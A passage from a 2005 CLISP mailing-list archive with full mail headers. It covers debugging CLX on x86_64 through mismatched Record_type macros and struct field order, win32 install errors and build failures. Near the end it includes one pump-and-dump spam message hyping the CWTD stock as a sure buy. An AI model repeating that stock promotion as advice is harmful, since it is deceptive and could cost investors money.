((((Record)(((void*)(aint)((void*)((aint)(((fptr).one_o)) & \ 0xFFFFFFFFFFFFUL))))))->rectype)) ... this is the reason why the fprintf in allocate_fpointer() prints out the value 18 whereas the fprintf in ensure_living_display() gets back the value 0. IMHO something goes wrong within the headers. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Sep 07 05:56:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECzTE-0002kt-2J for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 05:56:08 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECzTB-0002S5-Pb for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 05:56:08 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j87CtoaA014690; Wed, 7 Sep 2005 08:55:51 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Tue, 06 Sep 2005 18:27:58 -0600") References: <431879D0.000003.17385@mfront8.yandex.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp/win32 requires libpq.dll & LDAP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 7 05:57:21 2005 X-Original-Date: Wed, 07 Sep 2005 08:55:01 -0400 > * Surendra Singhi [2005-09-06 18:27:58 -0600]: > > Sam Steingold writes: > >>> * ya007 [2005-09-02 20:12:00 +0400]: >>> >>> I have downloaded clisp-2.35-win32.zip. After I unzip it and run >>> install.bat Windows says that "lisp.exe - Unable To Locate Component", >>> "This application was failed to start because libpq.dll was not >>> found. Re-installing the application may fix this problem" >> >> install PostGreSQL 8 (clisp comes with an interface to PostGreSQL) or >> use the base linking set (remove "-K full") from the argument list of >> "clisp". > > I tried removing "-K full" from the install.bat, but the install.bat file > still gives an error, and doesn't do anything. > > "***USE_PACKAGE: - There is no package with name LDAP". Download clisp-2.35-win32-no-pg.zip. -- Sam Steingold (http://www.podval.org/~sds) running w2k I'm a Lisp variable -- bind me! From werner@suse.de Wed Sep 07 06:09:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECzfu-0003KY-87 for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 06:09:14 -0700 Received: from ns2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECzfQ-0006Wd-Gc for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 06:09:14 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id EA06A1D7CD for ; Wed, 7 Sep 2005 15:08:35 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: No X Window with clisp 2.35 on x86_64 Message-ID: <20050907130832.GA2322@boole.suse.de> References: <20050906161815.GA11535@boole.suse.de> <20050907122432.GA26537@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20050907122432.GA26537@wotan.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 7 06:10:14 2005 X-Original-Date: Wed, 7 Sep 2005 15:08:32 +0200 On Wed, Sep 07, 2005 at 02:24:32PM +0200, Dr. Werner Fink wrote: > On Tue, Sep 06, 2005 at 12:57:44PM -0400, Sam Steingold wrote: > > > * Dr. Werner Fink [2005-09-06 18:18:15 +0200]: > > > > > > Hi, > > > > > > it seems that on AMD64 the record type is lost for > > > the display object. I've added a fprintf's to > > > > > > make_display() in modules/clx/new-clx/clx.f > > > allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c > > > > > > and got the result that the macro Record_type() > > > report 18 within allocate_fpointer() for the > > > return result and 0 from make_display() ... > > > later one leads to the error that the display > > > is closed by the check ensure_living_display(). > > > > > > The build has used TYPECODES. > > > > it appears that this is the same bug as > > > > Hmmm ... I do not think that the gcc4 is misscompiling > ensure_living_display() but that the cpp macro Record_type() > used in spvw_typealloc.d and clx.f is not identical. > > Just tried the -E -P option of gcc and found this: > > spvw.c: > > ((((Record)(((0==0) && ((((oint)(tint)(( (1L<<(3)) |(1L<<(0)))|\ > ((1L<<(3))|(1L<<(1)))|((1L<<(3))|(1L<<(1))|(1L<<(0)))|((1L<<(3))|\ > (1L<<(2)))|((1L<<(3))|(1L<<(2))|(1L<<(0)))|((1L<<(3))|\ > (1L<<(2))|(1L<<(1)))) << 48) & ~0UL) == 0) ? \ > (void*)(aint)(oint)(result) : \ > (void*)(aint)((void*)((aint)((oint)(result)) & \ > ((aint)0x0000FFFFFFFFFFFFUL | ~~0UL)))))))->rectype) > > clx.c: > > ((((Record)(((void*)(aint)((void*)((aint)(((fptr).one_o)) & \ > 0xFFFFFFFFFFFFUL))))))->rectype)) > > ... this is the reason why the fprintf in allocate_fpointer() > prints out the value 18 whereas the fprintf in ensure_living_display() > gets back the value 0. The results of the fprintf's: g31:demos # clisp -K full -q -i sokoban allocate_fpointer in spvw_typealloc.d at line=459 Record_type=18 ;; Loading file /usr/share/doc/packages/clisp/clx/demos/sokoban.lisp ... Call (sokoban:sokoban) ;; Loaded file /usr/share/doc/packages/clisp/clx/demos/sokoban.lisp [1]> (sokoban:sokoban) allocate_fpointer in spvw_typealloc.d at line=459 Record_type=18 make_display in clx.f at line=632 Record_type=0 ensure_living_display in clx.f at line=676 Record_type=0 *** - XLIB:DISPLAY-ROOTS: used closed displayensure_living_display in clx.f at line=676 Record_type=0 # The following restarts are available: ABORT :R1 ABORT Break 1 [2]> ... if gcc4 is misscompling than also make_display is affected. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From keke@gol.com Wed Sep 07 07:12:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ED0fQ-0005yx-DK for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 07:12:48 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ED0fI-0003fq-SI for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 07:12:48 -0700 Received: from d183.gosakafl3.vectant.ne.jp ([202.215.130.183] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ED0f7-0003Vp-SW for ; Wed, 07 Sep 2005 23:12:30 +0900 From: "Takehiko Abe" To: Message-Id: <20050907141151.18958@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 7 07:13:24 2005 X-Original-Date: Wed, 7 Sep 2005 23:11:51 +0900 Sam Steingold wrote: > > The hyperspec page says: "... must be defined at run time." > > Not "load time". And yes the environment in which I run my code > > is 'isomorphic' to the compile time environment. > > I believe that in this context load time is included in run time. > : > To load a file is to treat its contents as code and execute that code. OK. I concede. I guess I could go on insisting otherwise. But then I'd have to extend the same logic to defmethod, etc. and that doesn't sound right. > > The typep form referred to XXX is in file A, and XXX is defined as a > > class name in file B. But in the real code the file B depends on file A. > > So it is not defsystem issue though I think I can reorganize my code. > > Please do. Such circular dependencies will bite you sooner or later. I will. I did not like it when I added the typep form. but I assumed it was on a par with forward referencing a ordinary function. From werner@suse.de Wed Sep 07 08:34:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ED1wA-0000ra-Of for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 08:34:10 -0700 Received: from cantor.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ED1w9-0005mL-AY for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 08:34:10 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 2D456E8CE for ; Wed, 7 Sep 2005 17:34:02 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: c@suse.de Subject: Re: [clisp-list] Re: No X Window with clisp 2.35 on x86_64 Message-ID: <20050907153359.GA4877@boole.suse.de> References: <20050906161815.GA11535@boole.suse.de> <20050907122432.GA26537@wotan.suse.de> <20050907130832.GA2322@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20050907130832.GA2322@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 7 08:35:14 2005 X-Original-Date: Wed, 7 Sep 2005 17:33:59 +0200 On Wed, Sep 07, 2005 at 03:08:32PM +0200, Dr. Werner Fink wrote: > I've add global int _Record_type(FOREIGN check) { return Record_type(check); } before defining allocate_fpointer() in src/spvw_typealloc.d and the few lines #undef Record_type #define Record_type(a) _Record_type(a) extern int _Record_type(object); after including the headers and the FOREIGN check in modules/clx/new-clx/clx.f ... now it works and sokoban is up and running. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Sep 07 09:04:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ED2P6-00029u-Hl for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 09:04:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ED2P5-0004XQ-61 for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 09:04:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j87G3aMo013947; Wed, 7 Sep 2005 12:03:36 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050907141151.18958@roaming.gol.com> (Takehiko Abe's message of "Wed, 7 Sep 2005 23:11:51 +0900") References: <20050907141151.18958@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 7 09:05:22 2005 X-Original-Date: Wed, 07 Sep 2005 12:02:46 -0400 > * Takehiko Abe [2005-09-07 23:11:51 +0900]: > > Sam Steingold wrote: > >> > The hyperspec page says: "... must be defined at run time." >> > Not "load time". And yes the environment in which I run my code >> > is 'isomorphic' to the compile time environment. >> >> I believe that in this context load time is included in run time. >> : >> To load a file is to treat its contents as code and execute that code. > OK. I concede. Thanks! >> > The typep form referred to XXX is in file A, and XXX is defined as a >> > class name in file B. But in the real code the file B depends on file A. >> > So it is not defsystem issue though I think I can reorganize my code. >> >> Please do. Such circular dependencies will bite you sooner or later. > > I will. I did not like it when I added the typep form. but I assumed > it was on a par with forward referencing a ordinary function. functions and types are very different... -- Sam Steingold (http://www.podval.org/~sds) running w2k What was there first: the Compiler or its Source code? From werner@suse.de Thu Sep 08 05:50:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EDLrZ-0002Ii-Ns for clisp-list@lists.sourceforge.net; Thu, 08 Sep 2005 05:50:45 -0700 Received: from mx1.suse.de ([195.135.220.2]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EDLrX-0005Ry-Hk for clisp-list@lists.sourceforge.net; Thu, 08 Sep 2005 05:50:45 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 248DAEBD0 for ; Thu, 8 Sep 2005 14:50:38 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20050908125035.GA28622@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Usage of rectype/recflags of lispbibl.h and clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 8 05:51:16 2005 X-Original-Date: Thu, 8 Sep 2005 14:50:35 +0200 Hi, maybe this is the reason, why the X11 does not work without my previous posted workaround. After the comparision of the definition of the type record_ and friends srecord_ and xrecord_ I've found that the order of rectype and recflags is different from lispbibl.h to clisp.h. E.g. in lispbibl.h the type record_ is given with typedef struct { union { gcv_object_t _GCself; hfint flags[sizeof(gcv_object_t)/sizeof(hfint)]; } header; sintB rectype; uintB recflags; uintW recfiller; gcv_object_t recdata[0] ; } record_; whereas in clisp.h typedef struct { VAROBJECT_HEADER uintB recflags; sintB rectype; uintW recfiller; gcv_object_t recdata[unspecified]; } record_; is used ... IMHO the order of rectype and recflags should be the same as in lispbibl.h. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From keke@gol.com Fri Sep 09 06:36:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EDj30-00045T-SM for clisp-list@lists.sourceforge.net; Fri, 09 Sep 2005 06:36:06 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EDj2z-0006H8-LW for clisp-list@lists.sourceforge.net; Fri, 09 Sep 2005 06:36:06 -0700 Received: from d40.gosakafl40.vectant.ne.jp ([222.228.95.40] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EDj2i-0003KF-9y for ; Fri, 09 Sep 2005 22:35:48 +0900 From: "Takehiko Abe" To: Subject: [clisp-list] Re: posix:stream-lock Message-Id: <20050909133511.32144@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 9 06:37:00 2005 X-Original-Date: Fri, 9 Sep 2005 22:35:11 +0900 Sam Steingold wrote: > I fixed stream-lock over the last few days. > please get the CVS head sources and build CLISP from them. Execuse my slow response. Sadly I couldn't build it. I am not sure if I got the right source files, but at least it looks like newer than 2.35 source I already have. (I need to learn how to use cvs.) Compiling with 'make' ends with clisp-test-clisp.out clisp-test-lispbibl.out differ: char 81, line 1 make: *** [clisp.h] Error 1 It has passed 'make check-recompile'. but 'make check-tests' goes into endless loop: Cannot map memory to address 0x2048e000 . [spvw_mmap.d:359] errno = ENOMEM: Not enough memory. Trying to make room through a GC... And 'make install' failed with: /usr/bin/install: cannot stat `linkkit/*': No such file or directory /usr/bin/install: cannot stat `base/*': No such file or directory /usr/bin/install: cannot stat `full/*': No such file or directory make: *** [install-bin] Error 1 I'll try again later. Thanks. From sds@gnu.org Fri Sep 09 07:55:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EDkHv-0007cU-BB for clisp-list@lists.sourceforge.net; Fri, 09 Sep 2005 07:55:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EDkHr-00077M-OZ for clisp-list@lists.sourceforge.net; Fri, 09 Sep 2005 07:55:35 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j89Et4FL023296; Fri, 9 Sep 2005 10:55:05 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050909133511.32144@roaming.gol.com> (Takehiko Abe's message of "Fri, 9 Sep 2005 22:35:11 +0900") References: <20050909133511.32144@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 9 07:56:11 2005 X-Original-Date: Fri, 09 Sep 2005 10:54:16 -0400 > * Takehiko Abe [2005-09-09 22:35:11 +0900]: > > Sam Steingold wrote: > >> I fixed stream-lock over the last few days. >> please get the CVS head sources and build CLISP from them. > > Execuse my slow response. Sadly I couldn't build it. well, CVS head is not in a stable state at this time. look at src/Changelog and find out when the last stream-lock fix was checked in, then get the cvs head for that date (cvs -D) -- Sam Steingold (http://www.podval.org/~sds) running w2k Type louder, please. From Ted@WSN.NET Sun Sep 11 13:38:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EEYaX-00012w-9O for clisp-list@lists.sourceforge.net; Sun, 11 Sep 2005 13:38:09 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EEYaV-0003Ev-UW for clisp-list@lists.sourceforge.net; Sun, 11 Sep 2005 13:38:09 -0700 Received: from pool-71-247-89-136.nycmny.east.verizon.net ([71.247.89.136]) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1EEYaS-0005Gm-56 for clisp-list@lists.sourceforge.net; Sun, 11 Sep 2005 13:38:06 -0700 Received: from 212.114.144.148 (EHLO Nicolette) by pool-71-247-89-136.nycmny.east.verizon.net with SMTP; Sun, 11 Sep 2005 13:37:47 -0700 id 2350050020Mckenna112094 for clisp-list@lists.sourceforge.net; Sun, 11 Sep 2005 13:37:47 -0700 Mime-Version: 1.0 (Apple Message framework v728) Content-Transfer-Encoding: 7bit Message-Id: <777651686.5004866163@pool-71-247-89-136.nycmny.east.verizon.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Esteban X-Mailer: Apple Mail (2.728) X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.2 STOCK_PICK BODY: Offers a picked stock 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 STOCK_PICK BODY: Offers a picked stock Subject: [clisp-list] stock Radar Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 11 13:39:03 2005 X-Original-Date: Sun, 11 Sep 2005 13:37:46 -0700 China World Trade Corporation Reports Record Earnings Inside Breaking News For Investors CHINA WORLD TRADE CORP. Ready to Run Is This One Ready to Explode Higher Move? How Will it React To This News Being Released? Good Luck and Succesful Trading. CWTD News coming stock is ready to rock Company has already facilitated the money it need's to continue it's rapid growth ***WATCH THIS ONE SEPT 12-15, AS WE KNOW MANY OF YOU LIKE MOMENTUM AND EXCITEMENT*** Timing is everything!!!!! SYMBOL: CWTD (Ticker: CWTD) Price: $1.99 STATUS: (BUY) RATING: 3-STAR Good day to all broker's, Day Trader's and Investor's World stock report has become famous with some great stock picks in the otc, small cap market's!!! Here at World Stock Report we work on what we here from the street. Rumor's circulating and keeping the focus on the company's news. We pick our companies based on there growth potential. We focus on stocks that have great potential to move up in price.!!! While giving you liquitity. HUGE PR campaign expected this week so grab as much as you can. ***PRESS RELEASE***PRESS RELEASE***PRESS RELEASE***PRESS RELEASE*** China World Trade Corporation Reports Record Earnings in the Second Quarter 2005 China World Trade Corporation (CWTC) has established its business in three distinct areas: the club and business centers throughout major cities in China, business travel-related services, and business value-added services. The Club and Business Center Division is devoted to the building of the World Trade brand throughout China via the opening and operating of business clubs in China's major, positioning the CWTC to act as a platform to facilitate trade between China and the world markets. The acquisition of CEO Clubs China Limited ("CEO Clubs") in May 2004 further complements CWTC's offerings by targeting high-level corporate executives from premier companies. The Business Traveling Services Division, New Generation, provides CWTC access to the rapidly growing travel-related industry. New Generation is a pioneer and market leader in the travel agency business through its strong network of ticketing sales operations throughout Southern China. The Business Value-Added Services Division focuses on value-added services of credit cards, merchant-related business services, as well as consultancy services to CWTC members and clients. Guangdong World Trade Link Information Services Limited ("WTC Link"), a subsidiary of CWTC, manages the Company's co-branded credit card project and is an active provider of CRM solutions and services in China. THIS COMPANY IS DOING INCREDIBLE THINGS. THAY HAVE CASH AND HAVE MADE GREAT STRATEGIC AQUISITIONS. CURRENT PRICE $1.99. THEY HAVE DROPPED BIG NEW'S IN THE PAST. WHO'S TO SAY THEY DON'T HAVE ANOTHER BIG ONE. We see them on the AMEX very shortly. Do this often enough, and your portfolio can double, even TRIPLE in value. From rray@mstc.state.ms.us Mon Sep 12 12:48:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EEuHc-0003dT-8n for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 12:48:04 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EEuHb-0002Av-1f for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 12:48:04 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8CJm1nq017395 for ; Mon, 12 Sep 2005 14:48:01 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Mon, 12 Sep 2005 14:47:35 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8CJjdQ9001078 for ; Mon, 12 Sep 